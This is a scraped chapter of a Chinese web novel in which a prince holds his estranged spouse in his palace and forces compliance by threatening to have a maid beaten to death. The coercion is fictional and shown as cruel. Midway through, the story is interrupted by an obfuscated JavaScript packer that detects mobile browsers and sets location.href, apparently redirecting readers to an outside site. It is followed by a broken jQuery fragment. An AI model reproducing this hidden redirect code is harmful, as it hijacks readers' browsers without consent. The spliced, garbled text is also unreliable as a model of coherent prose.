15.11.走不掉的

作品:《殿下可悔?

    换防?


    他无法离开王府了么?


    为什么?既然已经吃腻了,为什么还不让他走呢?


    顾砚舟睁开了眼睛。


    眼前是层层叠叠花纹繁复的纱帐,雕花木床,鎏金香炉,有些眼熟……他想起来了,这里是清辉苑。


    “世子妃,您醒了。”熟悉的声音,他看过去,昭月急急走过来,手里还端着药碗,“您都昏迷好多天了,吓死奴婢了。”


    看着这张熟悉的、和从前别无二致的脸,顾砚舟有些恍惚,难道刚刚那些都是做梦么?


    这些年他漂泊在外,独自养着果儿,也都是做梦么?


    还是现在他在做梦呢?


    他张了张嘴,没能发出声音。


    他的目光一下子黯淡下来。


    昭月扶他坐起身:“世子妃,殿下已经请神医给您诊治过了,您的嗓子受了些伤,但可以养好,以后还是能再次说话的,身上的伤太多了,要好好休养,快把这药喝了罢。”


    顾砚舟顿了顿,摇摇头。


    昭月又劝道:“世子妃,想开些,殿下把您和小公子接回来了,一家三口以后就一直在一起,不是很好么?”


    顾砚舟推开了药碗,沉默地下床,穿上鞋就去拿外衣,昭月急了,忙把药碗一搁,过来拦住他:“世子妃,您这是要去哪里?殿下今日去了府衙,但是很快就要回来了,外头层层把守……”


    顾砚舟披上外衣,绕过她,执着地往外走,刚走出屏风,就见祝时瑾跨进屋门。


    看见他,祝时瑾一怔,立刻走过来:“你醒了。”


    顾砚舟抿了抿嘴,绕开他往外走。


    祝时瑾神色一顿,但那落寞只是一闪而过,下一刻,他就伸手拦住了他。


    “外面全是我的人,你逃不掉。”


    顾砚舟瞪着他。


    祝时瑾看见他这眼神,反而微微一笑:“生气了?如果你答应我不再逃,我就不让他们守着,你想去哪里都可以,只是每天晚上要回到这里。”


    顾砚舟皱了皱眉,他不想和他这样说话。


    发生了那么多事,他不觉得他们两个还可以这样心平气和地像老熟人一样讲话。


    不过他现在本来也说不了话,于是他把脸扭到了一边。


    祝时瑾摇摇头:“你还是和以前一样,生气了就是这个表情。昭月,把药端来。”


    昭月连忙把药碗端过来,祝时瑾接过,要亲自给他喂药,顾砚舟眉头一皱,抬手就打翻了药碗。


    他不要喝药,他不要待在这里。


    他们两清了,他不想再欠他什么,他要的是永不相见。


    药碗摔在地上一声脆响,四分五裂,药汁也洒了一地。


    祝时瑾脸上的一点儿浅浅笑意终于散去了。


    “不肯喝药?”他道,“想离开我?”


    顾砚舟听出了他话里的几分怒意,把脸转了回来,毫不畏惧地直直望着他,那眼神分明就是在说“是的,没错”。


    祝时瑾定定望着他,对峙的气氛有些剑拔弩张。


    “你以为我拿你没办法了?”他道,“砚舟,你太心软了,走不掉的。”


    顾砚舟皱起了眉,下一刻,就听他说:“既然你觉得他们伺候得不好,那就换一批人。来人,把这院子的所有下人都拉出去,杖毙。”


    顾砚舟猛地瞪大了眼睛,难以置信地看着他。


    祝时瑾目光平静,好整以暇:“就从昭月开始。”


    话音刚落,两名牛高马大的亲兵进屋来,抓起昭月就往外拖,昭月刚刚听到一句杖毙,根本没反应过来,这下才吓得大叫:“殿下!殿下!奴婢知错了!世子妃!世子妃!求您救救奴婢!”


    顾砚舟下意识追了两步,又猛地停住。


    祝时瑾就在旁静静望着他:“你不是要走了么?你不是要和这里的人都一刀两断么?那你还管她是死是活做什么?”


    顾砚舟胸膛起伏,气得脸都红了,看看他,又看看外头被按在地上的昭月,亲兵们可不管是男是女,只遵从殿下的命令,已经高高抬起了木杖——


    够了,够了,为什么总是要这样?先是果儿,然后又是昭月,为什么你总要用我重视的人来要挟我?!


    你已经抢走了果儿,难道还不够吗?!


    顾砚舟死死瞪着那高高举起的木杖——这样的板子,昭月一个细皮嫩肉的小丫头,挨不了几下就残废了。


    他可以不管的,可是这是王府里唯一一个真心伺候他的小丫头。


    ……他没有办法眼睁睁看着她被活生生打死。


    他闭了闭眼睛,抬手抓住了祝时瑾的衣袖。


    “……”祝时瑾朗声道,“住手。”


    亲兵们连忙收回了板子。


    “把药端过来。”


    昭月惊魂未定,拼命给他们磕头:“谢殿下、谢世子妃。”


    而后赶紧起身跑去厨房,重新端了一碗药汤出来,哆哆嗦嗦递给了顾砚舟。


    顾砚舟也不管那药汤有多烫,拿过来一口喝干了,闷头就往外走。


    祝时瑾微微皱眉:“去哪里?”


    问出来,他又意识到顾砚舟不能说话,便道:“你逃不出王府。”


    顾砚舟知道自己逃不出去,他只是不愿意再待在这间院子——用果儿要挟他,他不得不放下果儿,用昭月要挟他,他不得不离昭月远一点。


    总有一天,他什么都没有了,他也就没法再要挟他了罢。


    他一直走到山下,王府外院,祝时瑾一直跟着他,还有一大群王府亲兵严阵以待。


    但是,当他的脚步越来越靠近当年的那座破旧小院时,祝时瑾的脸色变了。


    他抬手抓住了顾砚舟的胳膊。


    “这里太偏僻了,你受着伤,住在这里不方便。”


    你也知道这里太偏僻了,做什么都不方便,那你当年把我赶到这里时,想过这些没有?


    顾砚舟甩开他的手,时隔数年,再次踏进这间偏僻的小院。


    当初他在王府待了半年多,只有最后的一个月在这里度过,但也就是这一个月,让他尝遍了人情冷暖,吃足了苦头,受够了羞辱。


    可再次走进这间小院,他的心却很平静。


    因为在他离开王府之后,他吃了更多的苦,受了更多的冷眼,日子过得比在这里还不如,现在再回想那一个月,只不过是他自己心里有落差,无法接受从云端跌到洼地罢了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190589|196898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可洼地才是他本该待的地方。


    现在他已经想明白了,只要他安分地待在洼地,不再往那云端去爬,他也就不会摔得那么惨。


    他走进那间空荡荡的小屋,重重关上了门,把祝时瑾挡在门外。


    ……那片刻,他的世界终于安静了,但也终于只剩下他一个人了。


    屋里还是和从前一模一样,一张旧木床,一条长桌一个圆凳,还有床尾的几个箱笼,日光透过窗户纸,将屋里照得亮堂,空气中漂浮着的微小尘埃清晰可见。


    顾砚舟怔怔呆立,片刻,走到那长桌前,桌上覆了一层不明显的薄灰,上面只放着他的一本手札,每一页都被人反复翻过,连书页都磨薄了。


    可是他没有在手札里记录生活的习惯,这里头只写了些在王府带领亲兵日常训练、巡逻的事项,每一天都只有寥寥几字。


    翻过几页,里头就掉出来一封信,他一愣,忽然意识到这是当年他写给殿下的一封辞呈。


    ——这封辞呈当然没能送出去,如今再打开来看,里头写的那些负气话语,句句都带着留恋,像是斗气要出走却等着别人挽留的小孩儿,真是幼稚可笑。


    顾砚舟合上手札,枯坐片刻,身上的伤口隐隐发痛,坐不住了,便只能去旧木床上躺着,这床上的被褥还是硬邦邦的,带着很重的陈味儿,不过他连茅草堆都睡过,也就不讲究这些了。


    躺了大半天,伤口的痛并没有熬过去,天色却一点一点黑下来,他起身准备去弄点儿吃的,一出门,昭月却在门口候着,顾砚舟愣了愣,一看院中还有扫撒婆子等粗使下人,就停住了脚步。


    “世子妃,您醒了。”昭月连忙叫婆子进屋打扫、换被褥,“是不是现在上饭菜?”


    顾砚舟微微皱眉,同她打手语:[你不必再伺候我。]


    昭月没有看懂,小心地问:“世子妃,您不想吃东西?”


    顾砚舟只好摇摇头,然后点点她,再指向山上。


    昭月,你该回清辉苑伺候贵人,而不是待在我这里。


    这回昭月看懂了:“世子妃,昭月这条命是您救下的,昭月愿意在这里伺候您。”


    要是早几年,顾砚舟也许还会为这话而感动,可是现在他历经起起伏伏,早知道这世上绝大多数人的命运都是不由自己主宰的,昭月也许今天能对他感激涕零,明天就不得不听殿下的命令背叛他。


    ——他们都只是身不由己的蝼蚁罢了。


    蝼蚁不该有任何羁绊和感情,麻木地过完这庸庸碌碌的一生就好了。再多的羁绊与感情,在那身不由己的时刻到来时,只会让蝼蚁显得更可悲、更可笑。


    徒增伤心。


    顾砚舟没再劝昭月,沉默地用饭,昭月有些忐忑,小声问:“世子妃,您生气了吗?”


    顾砚舟摇摇头。


    昭月抿了抿嘴,道:“其实,这几年殿下过得很不容易……”


    刚开了个头,顾砚舟将筷子一搁,就往屋里走,昭月忙道:“奴婢不说了,不说了,世子妃再多吃些罢。”


    顾砚舟这才转回身,可是一转过来,就看见院门口,一个梳着双髻的小脑袋从木门背后冒出来,露出一双滴溜溜的黑眼睛。